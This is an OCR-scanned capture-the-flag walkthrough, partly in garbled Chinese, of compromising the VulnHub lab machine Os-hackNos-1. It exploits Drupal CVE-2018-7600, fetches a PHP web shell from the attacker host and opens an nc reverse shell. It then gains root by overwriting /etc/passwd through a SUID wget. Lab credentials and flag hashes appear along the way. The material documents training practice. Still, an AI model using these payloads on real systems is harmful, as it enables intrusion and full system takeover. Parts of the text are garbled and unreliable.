vulnhub#EH145>)-Os-hackNos-1

IFHRBLBIEEM Y. ABELEART Bl LSO AREERXE , BA—BERIT , XTI
EH , KiER— Ef—7%.

AR T SE5. SENNURISTF LA AZER.,

SRHRAVEEHLE vulnhub Os-hackNos-1 65— a1

HESZEF flag BN —NEEBERAFuser.txt BIh—"1ErootFIFJuser.txt
05BN &7 :
Difficulty : Easy to Intermediate

Flag : 2 Flag first user And second root

Learning : exploit | Web Application | Enumeration | Privilege Escalation
Website : www.hackNos.com

mail : contact@hackNos.com

#8412 https://www.vulnhub.com/entry/hacknos-os-hacknos,401/

LIKEEER

1.1EAnmapst Bt 71

root@kali:~# nmap -p- 192.168.0.142 -sV -oA Os-hackNos-1

Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-07 18:51 AKST

Nmap scan report for 192.168.0.142

Host is up (0.011s latency).

Not shown: 65533 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

MAC Address: 40:A5:EF:46:69:0A (Shenzhen Four Seas Global Link Network Technology)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.66 seconds

1.2 gobusteryd B#r80ix 1T E R

root@kali:~# gobuster dir -u http://192.168.0.142 -w /usr/share/wordlists/dirbuster/directory-
list-2.3-small.txt

Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)

[+] Url: http://192.168.0.142

[+] Threads: 10

[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes: 200,204,301,302,307,401,403

[+] User Agent:  gobuster/3.0.1


https://www.vulnhub.com/entry/hacknos-os-hacknos,401/

[+] Timeout: 10s

2019/12/07 18:50:14 Finished
‘@iﬁﬁf)ﬂuﬁﬁ%ﬁdrupal IR ERUE

Kali Training Kali Tools @ Kali Docs Kali Forums NetHunter @ Offensive Security Exploit-DB GHDB

james

User logi s
oo Welcome to james
Username *
No front page content has been created yet.
Password *

* Create new account

* Request new password

Log in

&g http://192.168.0.142/drupal/CHANGELOG.txt B&1grupalfIhkZ<Js Drupal 7.57

3.33Drupal 7.57# 7L LN
BE— LR ARFEREDrupal #H7RENE RE&&HEgitbub
https://github.com/pimps/CVE-2018-7600 #Zexp

# python3 drupa7-CVE-2018-7 http://192.168.0.142/drupal/

DRUPAL 7 < 7.57 REMOTE CODE EXECUTION (CVE-2018-7600)

[*] Poisoning a form and including it in cache.

[*] Poisoned form ID: form-P1tIVPel6gRHgfab6ibalAPs-IXsjy8ZYTBDIn4IOwud
[#] Triggering exploit to execute: id

uid=33(www-data) gid=33(www-data) groups=33(wmw-data)

3.1 EEREXHIERER
python3 drupa7-CVE-2018-7600.py http://192.168.0.142/drupal/ -c "cat
sites/default/settings.php”

1 $databases = array (
2 'default' =>
3 array (

4 'default' =>


https://github.com/pimps/CVE-2018-7600

5 array

6 ‘'database' => 'cuppa’'

7 'username’ => 'cuppauser’
8 'password' => 'Akrn@4514'
9 'host' => 'localhost'

10 ‘'port' => "'

11 "driver' => 'mysql’

12 ‘'prefix' =>

4.fz58shell

4.1i@idexp ’E; shell3z4

python3 drupa7-CVE-2018-7600.py http://192.168.0.142/drupal/ -c "wget
192.168.0.136:8000/mOon.php mOon.php”

# python3 drupa7-CVE-2818-7600.py http://192.168.0.142/drupal/ -c "wget 192.168.0.136:8000/m0on.php mOon.php"

DRUPAL 7 £ 7.57 REMOTE CODE EXECUTION (CVE-2018-7600)

[*] Poisoning a form and including it in cache.
[*] Poisoned form ID: form-_KhSsXAKrfRXA-EmvMhiLFIc26Q6s0119YfZEFHAVIW
[*] Triggering exploit to execute: wget 192.168.0.136:8000/mOon.php mOon.php

mOonABE
1 <?php system($_POST[ 'moon’ ?>

4.2 {EFburpsuitei#{TPOSTIEIZ

‘B ipSEKNnc BEBTFE which nc FERER ™ FAnc/xzs#
1 rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.0.136+9001+>/tmp/f

kali_E #4785 nc -lvnp 9001

Burp Suite Community Edition v2.1.04 - Temporary Project

Burp Project Intruder Repeater Window Help

ashboart arge roxy | Intruder epeater eguencer ecoder omparer xtender roject optians ser options
Dashb d [ Ts t | P Intrud R e S D d C Extend P ct opti u ti

Ime

end Cancel Ta
Request Response
Raw [ Params | Headers | Hex Raw Headers Hex Render

POST /drupal/smOon.php HTTP/1.1

Host: 192.168.08.142

User-Agent: Mezilla/5.0 (X11; Linux xB6_64; rv:68.0) Gecke/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;0q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: has_js=1

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 91

T

moon=rm+/tmp/f%3bnk fifo+/tmp/fi3bcat+/tmp/f|/bin/sh+-1+2>%261|nc+192.168.0.136+9001+>
/tmp/fa

4.3 18Z&|shell



:~# nc -lvnp 9801
listening on [any] 9001 ...
connect to [192.168.0.136] from (UNKNOWN) [192.168.8.142] 55192

/bin/sh: @: can't access tty; job control turned off

Y)#epython3 shell
I python3 -c ‘'import pty;pty.spawn("/bin/bash")’

$ python3 'import pty;pty.spawn("/bin/bash"}'
python3: can't open file 'import pty;pty.spawn(”/bin/bash®)': [Errno 2] No such file or directory
$ python -c 'import pty;pty.spawn("/bin/bash")’
/bin/sh: 3: python: not found

$ python3 -c 'import pty;pty.spawn("/bin/bash")"
www -data@hackNos : /var/ww /html/drupal$ pwd

pwd

/var/wm /html/drupal
www-dataghackNos : fvar/wm/html/drupal$ whoami
whoami

ww -data

waw -data@hackNos : /var/ww /html/drupal$ i

5. R
5.1 FERuGR B RILE AT 234 alexander.txt

wuw -dataghackNos:/var/wm/html$ cat alexander.txt

cat alexander.txt
KysrKysgKysrKysgWy®+KysgKysrKysgKysrPFOgPisrKysgKysulS8gLsatLS0gLSeuPCsgKy tbLT4gKysrPFOgPisrKy4KLSOtLSBELSOtL jwgKysTily@gPis rkzwgXT4rKysgKysuPCsgKysrKysgK:
tPiBgLSOtLSOZLTXdPiBgLStLSAZLSBUPCSKKy thLT4gKysrPFOgPisrKysgKy48KysgKysrWy@gPisrkysgKzxdPiagKysuKysgKys rkysgKy4tLSegLSOtLjwgKysry@KPisrKzwgXT4rKysgKy4 s
sgKysrKysgWy@+LS0gLS0tLS0gPFO+LS4gPCsrK1sgLT4tLSOgPFO+LSOgLSATLi0gLSOtLIsKKySuPA=

www-data@hackNos: /var/ww/html$ *Z

[3]+ Stopped nc -lvnp 9001
:~# stty -echoe
:~# nc -lvnp 9001

base64fi#z=:

I echo "KysrKysgKysrKysgWy0+KysgKysrKysgKysrPFOgPisrKysgKysulLSOgLSOtLSOgLSOUPCsgKytbLT4g
KysrPFOgPisrKy4KLSOtLSOgLSOtLjwgKysrily@gPisrKzwgXT4rKysgKysuPCsgKysrKysgKlstPioglLSotLSog
LTxdPi@gLSetLSOgLSOUPCsKKytbLT4gKysrPFOgPisrKysgKy48KysgKysrily@gPisrKysgKzxdPidgKysuKysg
KysrKysgKy4tLS0gLSotLjwgKysrilyOKPisrKzwgXT4rKysgKy48KysgKysrKysghyo+LS0gLSotLSOgPFO+LS4g

PCsrK1sgLT4tLSOgPFO+LSOgLSArLiogLSOtLisKKysuPA==" | base64 -d

BRI
1 4++++ +++4++ [ ->++ 4+ ] O - - ---- -- o KF HH[ =D HHC] >+
2 eeooe —-= oK - > O K e > - ---- 2Q||O= =ooss= - —<H+-
3 A+ => H4+4<] D+ o<t [ - O <> ot R b= oo - K ) -
L >+++< [ >+++ +.<H+ HHHHE [->-- oo - - <]>=. <H++[ ->--- <]>-- -4 --- 4

ELfRZ https://www.splitbrain.org/services/ook

All the hard work (like actually understanding how those{anguages work]) was done by Daniel Lorch
and his Brainfuck interpreter in PHP

james:Hacker@dhbl

Text to Ook! | [ Text to short Ookl | [ Dokl to Text
Text to Brainfuck | | Brainfuck to Text ‘



https://www.splitbrain.org/services/ook

BER1E2IKSFIZS james:Hacker@451

6.&3kuser.txt
6.1 AFPERKW
B TSR FRRHMRAIIAR su jamesERKM
sshEREIAFPERARITER
6.2 15F|user.txt flag
cat /etc/passwd
Is /cat/james

cat /etc/james/user.txt

man:x:6:12:man:/var/cache/man: /usr/sbin/nologin

lp:x:7:7:1p:/var/spool/lpd: /usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news: /usr/sbin/nologin
uucp:x:18:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33 :www-data:/var/wwm :/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody :x:65534:65534: nobody : /nonexistent: /usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:183:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:184:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:185:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108 :: /home/syslog: /bin/false
_apt:x:185:65534 :: /nonexistent:/bin/false
1xd:x:106:65534 :: /var/1lib/1xd/: /bin/false
messagebus:x:187:111 :: /var/run/dbus:/bin/false
uuidd:x:108:112 :: /run/uuidd: /bin/false
dnsmasq:x:109:65534:dnsmasq, , , :/var/lib/misc: /bin/false

IEIEE: x:1000:1000: james, , , : /home/james : /bin/bash
sshd:x:110:65534 :: /fvar/run/sshd: fusr/sbin/nologin

mysql:x:111:118:MySQL Server,,,:/nonexistent:/bin/false
www-dataghackNos:/var/ww$ 1s /home/james

1s /home/james

user.txt

w -dataghackNos:/var/ww$ cat /home/james/user.txt

cat /home/james/user.txt

B el
\ 2

MD5-HASH : baellce4f67af91fa5S8576clda2aadsb
PES) Ay

7.1 @I suidfR Y EHAFRUG S
| find / -perm -u=s -type f 2>/dev/null



mailto:Hacker@451

wwi-datadhackNos: /var/ww$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/Jusr/lib/openssh/ssh-keysign
/usr/1ib/i386-1inux-gnu/1xc/1xc-user-nic
J/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/1lib/policykit-1/polkit-agent-helper-1
/usr/bin/pkexec

/usr/bin/at

/usr/bin/newgidmap

/usr/bin/gpasswd

J/usr/bin/sudo

Jusr/bin/newgrp

J/usr/bin/newuidmap

/usr/bin/wget

/usr/bin/passwd

/usr/bin/chsh

/usr/bin/chfn

/bin/pingé

/bin/umount

/bin/ntfs-3g

/bin/mount

/bin/ping

/bin/su

/bin/fusermount

M EERTLAEE] wget 2B roott R B LIETwget TEATLABR 4,
7.2 &it/etc/passwd
fekali E4ERERS

I openssl passwd -1 -salt moonsec 123456

EliE X HFpasswd 8 EAmoonsec JrootifR

| cat /etc/passwd
2 root:x:0:0:root:/root:/bin/bash

3 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

| bin:x:2:2:bin:/bin:/usr/sbin/nologin

5 sys:x:3:3:sys:/dev:/usr/sbin/nologin

6 sync:x:4:65534:sync:/bin:/bin/sync

7 games:x:5:60:games:/usr/games:/usr/sbin/nologin

8 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

9 1p:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin

10 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

11 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

12 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

13 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

14 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

15 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

16 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

17 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

18 gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
19 nobody:x:65534:65534:nobody: /nonexistent:/usr/sbin/nologin

20 systemd-timesync:x:100:102:systemd Time Synchronization /run/systemd:/bin/false
21 systemd-network:x:101:103:systemd Network Management /run/systemd/netif:/bin/false
22 systemd-resolve:x:102:104:systemd Resolver /run/systemd/resolve:/bin/false

23 systemd-bus-proxy:x:103:105:systemd Bus Proxy /run/systemd: /bin/false

24 syslog:x:104:108::/home/syslog:/bin/false

25 _apt:x:105:65534::/nonexistent:/bin/false



26 1xd:x:106:65534::/var/1lib/1xd/:/bin/false

27 messagebus:x:107:111::/var/run/dbus:/bin/false

28 uuidd:x:108:112::/run/uuidd:/bin/false

29 dnsmasq:x:109:65534:dnsmasq /var/lib/misc:/bin/false

30 james:x:1000:1000: james /home/james:/bin/bash

31 sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin

32 mysql:x:111:118:MySQL Server /nonexistent:/bin/false

33 moonsec:$1$moonsec$Zo8rbBypEa7GtevL8qy841:0:0:root:/root:/bin/bash

7.3 B

| wget http://192.168.0.136:8000/passwd -0 /etc/passwd

BEEBRLER/etc/ passwd BEHBE ISR

/etc/passwd 100%[== ==>] 1.65k —+—KB/s in @s
2019-12-08 14:08:42 (78.1 MB/s) - '/etc/passwd' saved [1687/1687]

wav-datadhackNos: /var/wa /html$ cat /etc/passwd
cat /etc/passwd
:@:0:root:/root:/bin/bash
1:daemon:/usr/sbin: /usr/sbin/nologin
in:/bin:/usr/sbin/nologin
:3:sys:/dev:/usr/sbin/nologin
65534:sync:/bin:/bin/sync
:60:games: /usr/games: /usr/sbin/nologin
man:/var/cache/man: /usr/sbin/nologin
1p:/var/spool/lpd:/usr/sbin/nologin
8:mail:/var/mail:/usr/sbin/nologin
9:news:/var/spool/news: /usr/sbin/nologin
:uucp:/var/spool/uucp:/usr/sbin/nologin
13:proxy:/bin:/usr/sbin/nologin
:33:33:www-data:/var/wm :/usr/sbin/nologin
X3 3& 34:backup:/var/backups:/usr/sbin/nologin
ailing List Manager:/var/list:/usr/sbin/nologin
rcd:/var/run/ircd: /usr/sbin/nologin
1:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody :x:65534: 65534 :nobody : /nonexistent: /usr/sbin/nologin
systemd-timesync:x:10@:1@2:systemd Time Synchronizatien,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
:/run/systemd: /bin/false

534:dnsmasq, ,, :/var/lib/misc:/bin/false
james, ,, :/home/james:/bin/bash

ysql:x:111:118:MySQL Server,,,:/nonexistent:/bin/false
oonsec: $1$moonsec$Zo8rbBypEa7GtevLBqy841:0:0:root: /root:/bin/bash

7.4 3kEroot.txt
Su moonsec EHJ)\““E%kHRFOOtWBE

u.
mysql X: 111 118: HySQL Server... /none:ustent /bln/false
moonsec:$1$moonsec$Zo8rbBypEa7Gt6vLBqy841:0:0:root: /root:/bin/bash
www -dataghackNos: /var/wm/html$ su moonsec

root@hackNos:/var/wm/html# |




root@hackNos:/var/ww/html# cd

MD5-HASH : baellce4f67af91fa58576clda2aadib

Author : Rahul Gehlaut

Linkedin : https://www.linkedin.com/in/rahulgehlaut/

Blog : www.hackNos.com
root@hackNos:~# |J




